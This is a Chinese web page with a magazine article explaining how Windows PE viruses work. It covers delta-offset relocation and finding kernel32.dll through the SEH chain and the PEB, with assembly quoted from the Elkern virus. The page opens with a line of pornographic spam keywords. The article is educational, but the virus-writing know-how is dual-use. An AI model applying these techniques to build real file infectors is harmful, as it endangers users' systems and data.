欧美性猛交XXXX免费看蜜桃,成人网18免费韩国,亚洲国产成人精品区综合,欧美日韩一区二区三区高清不卡,亚洲综合一区二区精品久久

打開(kāi)APP
userphoto
未登錄

開(kāi)通VIP,暢享免費電子書(shū)等14項超值服

開(kāi)通VIP
7月文章試讀:惡意代碼的親密接觸

文 / 溫玉潔
  生活在網(wǎng)絡(luò )時(shí)代,無(wú)論是作為一名程序員抑或是作為一名普通的電腦使用者,對病毒這個(gè)詞都已經(jīng)不再陌生。網(wǎng)絡(luò )不僅僅是傳播信息的快速通道,從另外一個(gè)角度來(lái)看,也是病毒得以傳播和滋生的溫床,有資料顯示,未安裝補丁的Windows操作系統連接至internet平均10-15分鐘就會(huì )被蠕蟲(chóng)或病毒感染。各種類(lèi)型的病毒,在人們通過(guò)網(wǎng)絡(luò )查閱信息、交換文件、收聽(tīng)視頻時(shí)正在悄悄地傳播。這些病毒或蠕蟲(chóng)不僅在傳播過(guò)程中消耗大量的帶寬資源,而且會(huì )干擾系統功能的正常使用或造成數據丟失、甚至是硬件損壞,每個(gè)電腦用戶(hù)幾乎都有過(guò)系統被病毒感染而無(wú)法正常使用的經(jīng)歷,大部分企業(yè)用戶(hù)也都有過(guò)因病毒發(fā)作致使業(yè)務(wù)系統不能正常運行的經(jīng)歷。病毒距離我們,其實(shí)并不遙遠。
  然而,不只普通用戶(hù)在面對各種夸大的報道和宣傳后感覺(jué)到茫然和恐懼,隨著(zhù)計算機各個(gè)領(lǐng)域的細分和專(zhuān)業(yè)化,就連一些職業(yè)的程序員對病毒技術(shù)也缺乏深入的了解。病毒,不過(guò)是精心設計的一段程序,是編程技巧和優(yōu)化技術(shù)的集中體現,是挑戰技術(shù)極限、無(wú)所不用其極的一種編程技術(shù)。其實(shí)病毒技術(shù)中的優(yōu)化和各種精巧的構造,也完全可以在一些特殊的情況下使用,使得某些編程工作得以簡(jiǎn)化;從另外一個(gè)角度來(lái)看,只有充分了解病毒技術(shù),才能更好地研究應對之策,知己知彼,方能百戰不殆。
  病毒不是某個(gè)系統下的專(zhuān)屬品,事實(shí)上現在各種流行的操作系統:從最初的Unix系統到其各種變體如Linux、Solaris、AIX、OS2等,從Windows到CE、Sybian等嵌入式系統,甚至是在某些專(zhuān)業(yè)化的大型機系統上,都無(wú)一例外地出現了病毒,各種平臺下病毒的基本原理類(lèi)似的,但是針對不同系統的特性,實(shí)現可能區別很大,原因在于作為一種無(wú)所不用其極的技術(shù),勢必利用各種系統相關(guān)的功能或弱點(diǎn)以取得各種特權和資源。正如生物的多樣性一樣,病毒種類(lèi)繁多:包括源代碼病毒、宏病毒、腳本病毒以及與各種系統可執行文件系統相關(guān)的病毒等。本文將以使用最為廣泛的Windows操作系統下的PE病毒為例,說(shuō)明病毒技術(shù)的原理以及實(shí)現技術(shù),驅散籠罩在病毒技術(shù)上的迷霧。
  
* 病毒、蠕蟲(chóng)、惡意代碼
        傳統意義上的病毒是具有類(lèi)似生物病毒特征的特殊代碼或程序,具有兩個(gè)最基本的特點(diǎn):自我復制和自動(dòng)傳播。蠕蟲(chóng),廣義上一般被認為是病毒的子類(lèi),同樣具有自我復制和傳播的特性,但鑒于蠕蟲(chóng)通常利用系統漏洞而非感染文件系統進(jìn)行傳播的特殊性,通常將其單獨作為一類(lèi)。一般認為區分蠕蟲(chóng)和傳統病毒的分類(lèi)標準是看其是否依賴(lài)于宿主程序進(jìn)行感染和傳播,如果必須依附于宿主程序才能進(jìn)行感染和傳播的才是病毒。不過(guò)定義不是絕對的,當今病毒和蠕蟲(chóng)技術(shù)的融合愈益深入,界限愈益模糊。很多病毒采用了很多的蠕蟲(chóng)傳播技術(shù),蠕蟲(chóng)也不僅僅通過(guò)系統漏洞傳播,同時(shí)也通過(guò)感染文件系統進(jìn)行傳播。此外還有有相當一部分程序雖然不具備自我復制和自我傳播的特征,但卻執行了未經(jīng)用戶(hù)許可的代碼、做了未經(jīng)用戶(hù)許可的事情,比如特洛伊木馬等間諜軟件、瀏覽器惡意腳本、一些廣告軟件等,顯然無(wú)法將其定義為傳統的病毒或蠕蟲(chóng),他們和蠕蟲(chóng)、病毒一樣,同屬于一個(gè)更大的范疇——惡意代碼。本文重點(diǎn)闡述傳統病毒經(jīng)常使用的技術(shù)。
  
* 病毒簡(jiǎn)史
        談病毒技術(shù),無(wú)法回避病毒產(chǎn)生的歷史。早在1949年在馮·諾伊曼的一篇論文《復雜自動(dòng)裝置的理論及組織的行為》中,即預見(jiàn)了可自我繁殖程序出現的可能。而現在眾所公認的病毒的萌牙于A(yíng)T&T(貝爾實(shí)驗室)幾個(gè)年輕的天才程序員編制的磁芯大戰(CoreWar)游戲程序,已經(jīng)具備了病毒的一些特征。隨后相關(guān)的實(shí)驗和研究在一些學(xué)者和天才的程序員中開(kāi)始展開(kāi),正是這些創(chuàng )造了計算機系統的天才們,制造了計算機病毒。很難考證第一個(gè)真正的病毒出現在何時(shí)何地,但在20世紀80年代,隨著(zhù)個(gè)人計算機的普及,病毒已經(jīng)開(kāi)始流行了,早期的計算機病毒是和當時(shí)的文件交換方式和操作系統特點(diǎn)聯(lián)系在一起的,那個(gè)時(shí)候發(fā)行軟件或交換文件主要通過(guò)軟盤(pán)進(jìn)行,系統是基于文本界面的Unix或DOS,網(wǎng)絡(luò )尚未普及,因此這一時(shí)期的病毒大都是引導區病毒和文件型病毒,前者通過(guò)替換系統引導區代碼在系統啟動(dòng)時(shí)獲取執行權,后者通過(guò)修改可執行文件嵌入代碼以在可執行文件執行時(shí)獲取控制權,更多病毒的則是二者的結合。IBM-PC的流行和MS DOS系統的普及使得DOS病毒在這一階段逐漸占據了統治地位。80年代后期因特網(wǎng)開(kāi)始進(jìn)入人們的視野,這時(shí)也出現了第一個(gè)因特網(wǎng)蠕蟲(chóng)——莫里斯蠕蟲(chóng),借助于系統漏洞通過(guò)網(wǎng)絡(luò )進(jìn)行快速傳播。90年代隨著(zhù)電腦及網(wǎng)絡(luò )的進(jìn)一步普及,病毒技術(shù)也有了很大的進(jìn)步,這在很大程度上也是由于病毒受社會(huì )的關(guān)注程度以及反病毒軟件的進(jìn)步,進(jìn)一步刺激了病毒制作者群體的創(chuàng )造欲望,多態(tài)和變形技術(shù)開(kāi)始出現,以對抗殺毒軟件的特征碼掃描。DOS操作系統病毒的絕對數量出現了爆炸性增長(cháng),但90年代后期隨著(zhù)Windows的出現,DOS病毒和引導區病毒逐漸走向消亡,Windows病毒隨之則開(kāi)始大量涌現,隨著(zhù)微軟Office軟件的普及宏病毒出現了,各種腳本病毒也日益增多。因特網(wǎng)的普及在給人們帶來(lái)便利的同時(shí)也加快了病毒傳播的速度和范圍,靠Emai傳播的蠕蟲(chóng)開(kāi)始增多,時(shí)至今日仍然是蠕蟲(chóng)的重要傳播途徑。從2000年至今,在進(jìn)入21世紀的頭幾年里,Windows下PE病毒技術(shù)已經(jīng)日益純熟、數量日益增多,但病毒排行榜的首位已經(jīng)讓位給利用各種系統漏洞進(jìn)行傳播的蠕蟲(chóng)了,安全研究的深入、各種安全漏洞的大量披露給蠕蟲(chóng)作者提供了很好的素材,特洛依木馬等惡意軟件數量呈現幾何級數的增長(cháng),病毒作者的關(guān)注點(diǎn)重新從Windows桌面系統轉向Unix系統、手機等嵌入移動(dòng)設備上。安全研究也愈益受到社會(huì )的關(guān)注,病毒和反病毒的戰爭仍在繼續,在可預見(jiàn)的將來(lái),仍將繼續。
 不過(guò),Windows PE文件病毒仍然占有非常大的比重。

* Windows平臺和PE文件格式

          Windows平臺是當今最為流行的桌面系統,在服務(wù)器市場(chǎng)上,也占有相當的份額。其可執行文件(普通的用戶(hù)程序、共享庫以及NT系統的驅動(dòng)文件)采用的是PE(Portable Executebale)文件格式。病毒要完成各種操作,在Windows系統上一般都是通過(guò)調用系統提供的API進(jìn)行的,以保證在各種Windows版本上都能運行,因此讀者應對基本的API比較熟悉。病毒要實(shí)現對宿主程序的感染,就不可避免地要修改PE文件,因此要求讀者對PE文件格式有一定的了解,PE文件格式是一種復雜的文件格式,本文并不準備詳細講述PE文件格式,僅作在必要處簡(jiǎn)單的介紹,如必要可進(jìn)一步參閱相關(guān)資料[1][2][3]。PE文件結構和頭部部分主要域的格式如下圖1所示。由圖1可見(jiàn),PE文件是由文件頭、節表、包含各種代碼和數據的節構成。文件頭中定義了PE文件的引入函數表、引出函數表、節數目、文件版本、文件大小、所屬子系統等相關(guān)的重要信息。節表則定義了實(shí)際數據節的大小、對齊、內存到文件如何進(jìn)行映射等信息。后面的各個(gè)節則包含了實(shí)際的可執行代碼或數據。

 

 

 

圖1 PE文件結構及部分主要域的定義

 


* PE病毒技術(shù)剖析

        典型的PE病毒修改PE文件,將病毒體代碼寫(xiě)入PE文件文件中,更新頭部相關(guān)的數據結構,使得修改后的PE文件仍然是合法PE文件,然后將PE入口指針改為指向病毒代碼入口,這樣在系統加載PE文件后,病毒代碼就首先獲取了控制權,在執行完感染或破壞代碼后,再將控制權轉移給正常的程序代碼,這樣病毒代碼就神不知鬼不覺(jué)地悄悄運行了。染毒后的PE文件運行過(guò)程一般圖2所示:


圖2 染毒后的程序執行流程

        這只是最常見(jiàn)的執行流程,事實(shí)上,隨著(zhù)反病毒技術(shù)的進(jìn)展,更多的病毒并不是在程序的入口獲取控制權,而是在程序運行中或退出時(shí)獲取控制權,以逃避殺毒軟件的初步掃描,這種技術(shù)又被稱(chēng)為EPO技術(shù),將在本文后半部分進(jìn)行介紹。病毒代碼一般分成幾個(gè)主要功能模塊:解碼模塊、重定位模塊、文件搜索模塊、感染模塊、破壞模塊、加密變形模塊等,不同的病毒包含模塊不一定相同,比如解碼、加密變形等就是可選的;但文件搜索和感染模塊是幾乎每個(gè)PE病毒都具備的,因為自我復制我傳播是病毒的最基本的特征。有些病毒還可能實(shí)現了其他的模塊,比如Email發(fā)送、網(wǎng)絡(luò )掃描、內存感染等。一段典型的PE病毒代碼執行流程大致如下圖3所示:


圖3 一段典型的病毒代碼執行流程

        從原理上看病毒非常簡(jiǎn)單,但實(shí)現起來(lái)還有不少困難,其實(shí)如果解決了這些技術(shù)難點(diǎn),一個(gè)五臟俱全的病毒也就形成了,本文后面將從一個(gè)病毒編寫(xiě)者的角度就各個(gè)難點(diǎn)分別予以介紹。病毒可采用的技術(shù)幾乎涉及到Windows程序設計的所有方面,但限于篇幅,本文亦不可能全部介紹,本文將重點(diǎn)介紹Win32用戶(hù)模式病毒所常用的一些技術(shù)。

* 編程語(yǔ)言
 
        任何語(yǔ)言只要表達能力足夠強,都可用于編寫(xiě)PE病毒。但現存的絕大部分PE病毒都是直接用匯編編寫(xiě)的,一方面是因為匯編編譯后的代碼短小精悍,可以充分進(jìn)行人工優(yōu)化,以滿(mǎn)足隱蔽性的要求;另外一方面之所以用匯編是因為其靈活和可控,病毒要同系統底層有時(shí)甚至是硬件打交道,由于編譯器的特點(diǎn)不盡相同,用高級語(yǔ)言實(shí)現某些功能甚至會(huì )更加麻煩,比如用匯編很方便地就可以直接進(jìn)行自身重定位、自身代碼修改以及讀寫(xiě)IO端口等操作,而用高級語(yǔ)言實(shí)現則相對煩瑣。用匯編還可以充分利用底層硬件支持的各種特性,限制非常少。但是用匯編編寫(xiě)病毒的主要缺點(diǎn)就是編寫(xiě)效率低,加上使用各種優(yōu)化手段使得代碼閱讀起來(lái)相當困難,不過(guò)作為一種極限編程技術(shù),對病毒作者而言,這些似乎都已經(jīng)不再重要。本文假設讀者熟悉匯編語(yǔ)言,各種舉例使用Intel格式的匯編代碼,編譯器可使用MASM或FASM進(jìn)行編譯,由于匯編語(yǔ)言表述算法較為不便,因此算法和原理性表述仍然采用C語(yǔ)言。在講述各種技術(shù)時(shí),部分代碼直接取自病毒Elkern的源代碼,該病毒在2002年曾經(jīng)大規模流行,其代碼被收錄于著(zhù)名病毒雜志29A第7期中,有興趣的讀者可參閱其完整代碼。

* 重定位

        病毒自身的重定位是病毒代碼在得以順利運行前應解決的最基本問(wèn)題。病毒代碼在運行時(shí)同樣也要引用一些數據,比如API函數的名字、殺毒軟件的黑名單、系統相關(guān)的特殊數據等,由于病毒代碼在宿主進(jìn)程中運行時(shí)的內存地址是在編譯匯編代碼時(shí)無(wú)法預知的,而病毒在感染不同的宿主時(shí)其位于宿主中的準確位置同樣也無(wú)法提前預知,因此病毒就要在運行時(shí)動(dòng)態(tài)確定其引用數據的地址,否則,引用數據時(shí)幾乎肯定會(huì )發(fā)生錯誤。對于普通的PE文件比如動(dòng)態(tài)鏈接庫而言,在被加載到不同地址處時(shí)由加載器根據PE中一個(gè)被稱(chēng)為重定位表的特殊結構動(dòng)態(tài)修正引用數據指令的地址,而重定位表是由編譯器在編譯階段生成的,因此動(dòng)態(tài)鏈接庫本身無(wú)需為此做任何額外處理。病毒代碼則不同,必須自己動(dòng)態(tài)確定需引用數據的地址。比如一段病毒代碼被加載在0x400000處,地址0x401000處的一條語(yǔ)句及其引用的數據定義如下所示,相關(guān)地址是編譯器在編譯時(shí)計算得到的,這里假設編譯時(shí)預設的基地址也是0x400000:
401000:   
    mov eax,dword ptr [402035]
    ......
402035:
    db "hello world!",0
  如果病毒代碼在宿主中也加載到基地址0x400000,顯然是能夠正常執行的,但如果這段代碼被加載在基地址0x500000運行時(shí)則出錯,對病毒而言,這是大多數時(shí)候都會(huì )遇到的情況,因為指令中引用的仍然是0x402035這個(gè)地址。如果病毒代碼不是在宿主進(jìn)程中而是作為一個(gè)具有重定位表的獨立PE文件運行,正常情況下由系統加載器根據重定位表表項將 mov eax,dword ptr [402035]中的0x402035修改為正確值0x502305,這樣這句代碼就變成了mov eax,dword ptr [5402035],程序也就能準確無(wú)誤地運行了。不過(guò)很可惜,對在其它進(jìn)程內運行病毒代碼而言,必須采取額外的手段、付出額外的代價(jià)感染宿主PE文件時(shí)就及時(shí)加以解決,否則將導致宿主進(jìn)程無(wú)法正常運行。

至少有兩種方法可以解決重定位的問(wèn)題:

A)第一種方法就是利用上述PE文件重定位表項的特殊作用構造相應的重定位表項。在感染目標PE文件時(shí),將引用自身數據的需要被重定位的地址全部寫(xiě)入目標PE文件的重定位表中,如果目標PE無(wú)任何重定位表項(如用MS linker的/fixed)則創(chuàng )建重定位表節并插入新的重定位項;若已經(jīng)存在重定位表項,則在修改已存在的重定位表節,在其中插入包含了這些地址的新表項。重定位的工作就完全由系統加載器在加載PE文件的時(shí)候自動(dòng)進(jìn)行了。重定位表項由PE文件頭的DataDirectory數據中的第6個(gè)成員IMAGE_DIRECTORY_ENTRY_BASERELOC指向。該方法需要的代碼稍多,實(shí)現起來(lái)也相對比較復雜,另外如果目標文件無(wú)重定位表項(為了減小代碼體積,這種情況也不少見(jiàn)),處理起來(lái)就比較麻煩,只有用高級語(yǔ)言編寫(xiě)病毒才常用該種方法,在一般的PE病毒中很少使用。

B)利用Intel X86體系結構的特殊指令,call或fnstenv等指令動(dòng)態(tài)獲取當前指令的運行時(shí)地址,計算該地址與編譯時(shí)預定義地址的差值(被稱(chēng)為delta offset),再將該差值加到原編譯時(shí)預定的地址上,得到的就是運行時(shí)數據的正確地址。對于intel x86指令集而言,在書(shū)寫(xiě)代碼時(shí),通過(guò)將delta offset放在某個(gè)寄存器中,然后通過(guò)變址尋址引用數據就可以解決引用數據重定位的難題。還以上例說(shuō)明,假如上述指令塊被操作系統映射在0x500000處那么代碼及其在內存中的地址將變?yōu)椋?br>501000:   
    mov eax,dword ptr [402035] 
    ......
502035:
    db "hello world!",0

  顯然,mov指令引用的操作數地址是不正確的,如果我們知道了mov指令運行時(shí)地址是0x501000,那么計算該地址和編譯時(shí)該指令預設地址的差值:0x501000-0x401000 = 0x100000。很顯然指令引用的實(shí)際數據地址應該為0x402035+0x100000 = 0x502035。從上例可以看出,只要能夠在運行時(shí)確定某條指令動(dòng)態(tài)運行時(shí)的地址,而其編譯時(shí)地址已知,我們就能夠通過(guò)將delta offset加到相應的地址上正確重定位任何代碼或數據的運行時(shí)地址。原理如圖4所示:


圖4 delta iffset

        通常只要在病毒代碼的開(kāi)始計算出delta offset,通過(guò)變址尋址的方式書(shū)寫(xiě)引用數據的匯編代碼,即可保證病毒代碼在運行時(shí)被正確重定位。假設ebp包含了delta offset,使用如下變址尋址指令則可保證在運行時(shí)引用的數據地址是正確的:
;ebp包含了delta offset值
401000:   
    mov eax,dword ptr [ebp+0x402035]
    ......
402035:
    db "hello world!",0
        在書(shū)寫(xiě)源程序時(shí)可以采用符號來(lái)代替硬編碼的地址值,上述的例子中給出的不過(guò)是編譯器對符號進(jìn)行地址替換后的結果?,F在的問(wèn)題就轉換成如何獲取delta offset的值了,顯然:
    call    delta
delta:
    pop     ebp
    sub     ebp,offset delta
        在運行時(shí)就動(dòng)態(tài)計算出了delta offset值,因為call要將其后的第一條指令的地址壓入堆棧,因此pop ebp執行完畢后ebp中就是delta的運行時(shí)地址,減去delta的編譯時(shí)地址“offset delta”就得到了delta offset的值。除了用明顯的call指令外,還可以使用不那么明顯的fstenv、fsave、fxsave、fnstenv等浮點(diǎn)環(huán)境保存指令進(jìn)行,這些指令也都可以獲取某條指令的運行時(shí)地址。以fnstenv為例,該指令將最后執行的一條FPU指令相關(guān)的協(xié)處理器的信息保存在指定的內存中,結構如下圖5所示:

圖5 浮點(diǎn)環(huán)境塊的結構

       該結構偏移12字節處就是最后執行的浮點(diǎn)指令的運行時(shí)地址,因此我們也可以用如下一段指令獲取delta offset:
fpu_addr:
    fnop
    call    GetPhAddr
    sub     ebp,fpu_addr

GetPhAddr:
    sub  esp,16
    fnstenv [esp-12]
    pop     ebp
    add     esp,12
    ret

  delta offset也不一定非要放在ebp中,只不過(guò)是ebp作為棧幀指針一般過(guò)程都不將該寄存器用于其它用途,因此大部分病毒作者都習慣于將delta offset保存在ebp中,其實(shí)用其他寄存器也完全可以。
  在優(yōu)化過(guò)的病毒代碼中并不經(jīng)常直接使用上述直接計算delta offset的代碼,比如在Elkern開(kāi)頭寫(xiě)成了類(lèi)似如下的代碼:
        call _start_ip
_start_ip:
        pop ebp
    ;...
        ;使用
        call [ebp+addrOpenProcess-_start_ip]
    ;...
addrOpenProcess dd 0
        ;而不是
        call _start_ip
_start_ip:
        pop ebp
        sub ebp,_start_ip
        call [ebp+addrOpenProcess]

  為什么不采用第二種書(shū)寫(xiě)代碼的方式?其原因在于盡管第一種格式在書(shū)寫(xiě)源碼時(shí)顯得比較羅嗦,但是addrOpenProcess-_start_ip是一個(gè)較小相對偏移值,一般不超過(guò)兩個(gè)字節,因此生成的指令較短,而addrOpenProcess在32 Win32編譯環(huán)境下一般是4個(gè)字節的地址值,生成的指令也就較長(cháng)。有時(shí)對病毒對大小要求很苛刻,更多時(shí)候也是為了顯示其超俗的編程技巧,病毒作者大量采用這種優(yōu)化,對這種優(yōu)化原理感興趣的讀者請參閱Intel手冊卷2中的指令格式說(shuō)明。

* API函數地址的獲取

        在能夠正確重定位之后,病毒就可以運行自己代碼了。但是這還遠遠不夠,要搜索文件、讀寫(xiě)文件、進(jìn)行進(jìn)程枚舉等操作總不能在有Win32 API的情況下自己用匯編完全重新實(shí)現一套吧,那樣的編碼量過(guò)大而且兼容性很差。Win9X/NT/2000/XP/2003系統都實(shí)現了同一套在各個(gè)不同的版本上都高度兼容的Win32 API,因此調用系統提供的Win32 API實(shí)現各種功能對病毒而言就是自然而然的事情了。
  所以接下來(lái)要解決的問(wèn)題就是如何動(dòng)態(tài)獲取Win32 API的地址。最早的PE病毒采用的是預編碼的方法,比如Windows 2000中CreateFileA的地址是0x7EE63260,那么就在病毒代碼中使用call [7EE63260h]調用該API,但問(wèn)題是不同的Windows版本之間該API的地址并不完全相同,使用該方法的病毒可能只能在Windows 2000的某個(gè)版本上運行。因此病毒作者自然而然地回到PE結構上來(lái)探求解決方法,我們知道系統加載PE文件的時(shí)候,可以將其引入的特定DLL中函數的運行時(shí)地址填入PE的引入函數表中,那么系統是如何為PE引入表填入正確的函數地址的呢?答案是系統解析引入DLL的導出函數表,然后根據名字或序號搜索到相應引出函數的的RVA(相對虛擬地址),然后再和模塊在內存中的實(shí)際加載地址相加,就可以得到API函數的運行時(shí)真正地址。在研究操作系統是如何實(shí)現動(dòng)態(tài)PE文件鏈接的過(guò)程中,病毒作者找到了以下兩種解決方案:

A)在感染PE文件的時(shí)候,可以搜索宿主的函數引入表的相關(guān)地址,如果發(fā)現要使用的函數已經(jīng)被引入,則將對該API的調用指向該引入表函數地址,若未引入,則修改引入表增加該函數的引入表項,并將對該API的調用指向新增加的引入函數地址。這樣在宿主程序啟動(dòng)的時(shí)候,系統加載器已經(jīng)把正確的API函數地址填好了,病毒代碼即可正確地直接調用該函數。

B)系統可以解析DLL的導出表,自然病毒也可以通過(guò)這種手段從DLL中獲取所需要的API地址。要在運行時(shí)解析搜索DLL的導出表,必須首先獲取DLL在內存中的真實(shí)加載地址,只有這樣才能解析從PE的頭部信息中找到導出表的位置。應該首先解析哪個(gè)DLL呢?我們知道Kernel32.DLL幾乎在所有的Win32進(jìn)程中都要被加載,其中包含了大部分常用的API,特別是其中的LoadLibrary和GetProcAddress兩個(gè)API可以獲取任意DLL中導出的任意函數,在迄今為止的所有Windows平臺上都是如此。只要獲取了Kernel32.DLL在進(jìn)程中加載的基址,然后解析Kernel32.DLL的導出表獲取常用的API地址,如需要可進(jìn)一步使用Kernel32.DLL中的LoadLibrary和GetProcAddress兩個(gè)API更簡(jiǎn)單地獲取任意其他DLL中導出函數的地址并進(jìn)行調用。

* 獲取Kernel32.DLL基址

  獲取Kernel32.DLL基址的方法很多,最常見(jiàn)的一種是搜索法,如果已知Kernel32.DLL加載的大致地址,那么可由該地址向高地址或低地址進(jìn)行搜索可以找到其基址。另外一種方法是搜索NT PEB結構中的模塊列表獲取Kernel32.DLL的準確加載基址。下面看一下具體的實(shí)現代碼:

方法1:暴力搜索獲取Kernel32.DLL的基址

         最初的病毒是指定一個(gè)大致的加載地址,比如根據實(shí)驗在9X下其加載地址是0xBFF70000;在Windows 2000下加載基址是0x77E80000;在XP和2003下其加載基址是0x77E60000,因此在NT系統下就可以從0x77e00000開(kāi)始向高地址搜索,在9X下可以從0xBFF00000開(kāi)始向高地址搜索,如果搜索到Kernel32.DLL的加載地址,其頭部一定是“MZ”標志,由模塊起始偏移0x3C的雙字確定的PE頭部標志必然是“PE”標志,因此可根據這兩個(gè)標志判斷是否找到了模塊加載地址,也許有人認為該方法不可靠,因為如果恰好有某段數據符合這兩個(gè)特征,那么找到的基址可能就是錯誤的,但經(jīng)實(shí)驗證明,該判斷方法非??煽?,基本不會(huì )出現錯誤。有一點(diǎn)需要注意的是,在所有版本的Windows系統下Kernel32.DLL的加載基址都是按照0x10000對齊的,根據這一特點(diǎn)可以不必逐字節搜索,按照64K對齊的邊界地址搜索即可。
       從大致的一個(gè)地址開(kāi)始搜索Kernel32.DLL基址可能會(huì )出現讀寫(xiě)到未映射內存區域的情況,因此需要和SEH配合使用。如果有在各個(gè)版本下準確獲取Kernel32.DLL中某地址的通用方法,那么就可以更可靠地從該地址開(kāi)始向低地址搜索,顯然會(huì )更加通用。事實(shí)上,這種方法是存在的。在系統加載PE文件跳轉到PE入口點(diǎn)第一條指令的時(shí)候,堆棧頂保存的就是Kernel32.DLL中的某個(gè)地址,Elkern中采用的就是這種方法:
_start:
        pushfd ;If some flags,especial DF,changed,some APIs can crash down!!!
        pushad
_start_@1 equ $
        ;......
        mov ebx,[esp+9*4]   ;前面已經(jīng)由pushfd和pushad壓入了9個(gè)雙字
        and ebx,0ffe00000h  ;該地址為Kernel32.dll模塊下方的某個(gè)地址
                ;先減去0x100000確保該地址處于Kernel32.dll的下方
                ;向高地址搜索如果將來(lái)Windows的發(fā)行版本中Kernel32.dll
                ;大小和代碼結構發(fā)生變化,該方法可能無(wú)效

  ebx中現在已經(jīng)是Kernel32.DLL基址之前某個(gè)地址了,后續代碼可以向高地址搜索其基址。該方法有一個(gè)缺點(diǎn),就是必須明確知道程序入口的堆棧指針值,或間接可計算出該值,對于那些在程序入口獲取控制權的病毒代碼而言,是可以的,但對于采用EPO技術(shù)的病毒而言,該方法則不適用。事實(shí)上還有另外一種更加通用的方法,我們知道在Win32程序執行過(guò)程中fs段寄存器的基址總是指向進(jìn)程的TEB,TEB的第一個(gè)成員指向SEH鏈表,該鏈表每個(gè)節點(diǎn)都是一個(gè)EXCEPTION_REGISTRATION結構,該結構定義如下:
struct EXCEPTION_REGISTRATION{
    struct EXCEPTION_REGISTRATION *prev;
 void* handler;
};
在Windows下SEH鏈表最后一個(gè)成員的handler指向Kernel32.DLL中函數UnhandledExceptionFilter的起始地址,利用這一特性我們可以寫(xiě)出更通用的代碼:
        xor     esi,esi
        lods    dword [fs:esi];取得SEH鏈表的頭指針
      @@:
        inc     eax             ;是否是最后一個(gè)SEH節點(diǎn),檢查prev是否為0xFFFFFFFF
        je      @F
        dec     eax
        xchg    esi,eax        
        LODSD                   ;下一個(gè)SEH節點(diǎn)
        jmp     near @B
      @@:
        LODSD                   ;取得Kernel32.dll中UnhandledExceptionFilter的地址

         在有的病毒直接以0x7FFDE000作為T(mén)EB的指針值,其原因在于在Windows 2003 SP1、Windows XP SP2以前的NT類(lèi)系統上,該值是固定的,這樣的確可以節省一兩個(gè)字節。但是在Windows 2003 SP1、Windows XP SP2中,情況已經(jīng)發(fā)生了變化,出于安全性的考慮,Windows系統開(kāi)始動(dòng)態(tài)映射TEB了,也就是說(shuō),指向TEB的指針值不再固定,因此這種硬編碼的方法也就走到了盡頭。此時(shí)可以按照前面的方法向低地址搜索判斷直到找到Kernel32.dll的基址為止。Elkern中判斷是否找到了Kernel32.dll基址的相關(guān)代碼如下:
search_api_addr_@1:
        add ebx,10000h
        jz short search_api_addr_seh_restore
        cmp word ptr [ebx],‘ZM‘   ;是否是MZ標志
        jnz short search_api_addr_@1
        mov eax,[ebx+3ch]
        add eax,ebx
        cmp word ptr [eax],‘EP‘   ;是否具有PE標志
        jnz short search_api_addr_@1
   ;找到了kernel32.dll的基址

方法2:搜索PEB的相關(guān)結構獲取Kernel32.DLL的基址

        前述TEB偏移0x30處,亦即FS:[0x30]地址處保存著(zhù)一個(gè)重要的指針,該指針指向PEB(進(jìn)程環(huán)境塊),PEB成員很多,這里并不介紹PEB的詳細結構。我們只需要知道PEB結構的偏移0xC處保存著(zhù)另外一個(gè)重要指針ldr,該指針指向PEB_LDR_DATA結構:
typedef struct _PEB_LDR_DATA
{
                                                          
  ULONG             Length;                              // +0x00  
  BOOLEAN           Initialized;                         // +0x04  
  PVOID             SsHandle;                            // +0x08  
  LIST_ENTRY        InLoadOrderModuleList;   // +0x0c  
  LIST_ENTRY        InMemoryOrderModuleList;          // +0x14  
  LIST_ENTRY        InInitializationOrderModuleList;// +0x1c
} PEB_LDR_DATA,*PPEB_LDR_DATA;                        // +0x24      
  該結構的后三個(gè)成員是指向LDR_MODULE鏈表結構中相應三條雙向鏈表頭的指針,分別是按照加載順序、在內存中的地址順序和初始化順序排列的模塊信息結構的指針。LDR_MODULE結構如下所示:
typedef struct _LDR_MODULE
{
    LIST_ENTRY        InLoadOrderModuleList;             // +0x00
    LIST_ENTRY        InMemoryOrderModuleList;          // +0x08
    LIST_ENTRY        InInitializationOrderModuleList; // +0x10
    PVOID             BaseAddress;                        // +0x18
    PVOID             EntryPoint;                         // +0x1c
    ULONG             SizeOfImage;                        // +0x20
    UNICODE_STRING    FullDllName;                       // +0x24
    UNICODE_STRING    BaseDllName;                       // +0x2c
    ULONG             Flags;                              // +0x34
    SHORT             LoadCount;                          // +0x38
    SHORT             TlsIndex;                           // +0x3a
    LIST_ENTRY        HashTableEntry;                    // +0x3c
    ULONG             TimeDateStamp;                      // +0x44
                                                          // +0x48
} LDR_MODULE, *PLDR_MODULE;

  Peb->Ldr->InInitializationOrderModuleList指向按照初始化順序排序的第一個(gè)LDR_MODULE節點(diǎn)的InInitializationOrderModuleList成員的指針,在WinNT平臺(不包含Win9X)下,該鏈表頭節點(diǎn)的LDR_MODULE結構包含的是NTDLL.DLL的相關(guān)信息,而鏈表的下一個(gè)節點(diǎn)所包含的就是Kernel32.dll相關(guān)的信息了,該節點(diǎn)LDR_MODULE結構中的BaseAddress不正是我們所苦苦尋找的嗎。注意InInitializationOrderModuleList是LDR_MODULE的第3個(gè)成員,因此要獲取BaseAddress的地址,只需將其指針加8再derefrence即可。因此下面的匯編代碼即可獲取Kernel32.DLL的基址:

 mov eax, dword ptr fs:[30h]     ;獲取PEB基址
     mov eax, dword ptr [eax+0ch] ;獲取PEB_LDR_DATA結構指針
     mov esi, dword ptr [eax+1ch] 
     ;獲取InInitializationOrderModuleList鏈表頭第一個(gè)LDR_MODULE節點(diǎn)
     InInitializationOrderModuleList成員的指針
    lodsd                 ;獲取雙向鏈表當前節點(diǎn)后繼的指針
  mov ebx, dword ptr [eax+08h] ;取其基地址,該結構當前包含的是
                     ;kernel32.dll相關(guān)的信息

        該方法在所有的Windows NT(包括Windows 2003 SP1和Windows XP SP2)操作系統上都是有效的,唯一的缺憾是由于PEB結構不同,該方法在Win9X系統上無(wú)效。聽(tīng)起來(lái)可能比較費解,還是用一張圖更加清晰一些:


圖6 利用PEB搜索kernel32.dll基地址的過(guò)程

* 解析PE文件的導出函數表

  PE文件的函數導出機制是進(jìn)行模塊間動(dòng)態(tài)調用的重要機制,對于正常的程序,相關(guān)操作是由系統加載器在程序加載前自動(dòng)完成的,對用戶(hù)程序是透明的。但要想在病毒代碼中實(shí)現函數地址的動(dòng)態(tài)解析以取代加載器,那就有必要了解函數導出表的結構了。在圖1中可以看到在PE頭結構IMAGE_OPTIONAL_HEADER32結構中包含一個(gè)DataDirectory數組結構,該結構包含16個(gè)成員,每個(gè)成員都是一個(gè)IMAGE_DATA_DIRECTORY結構:
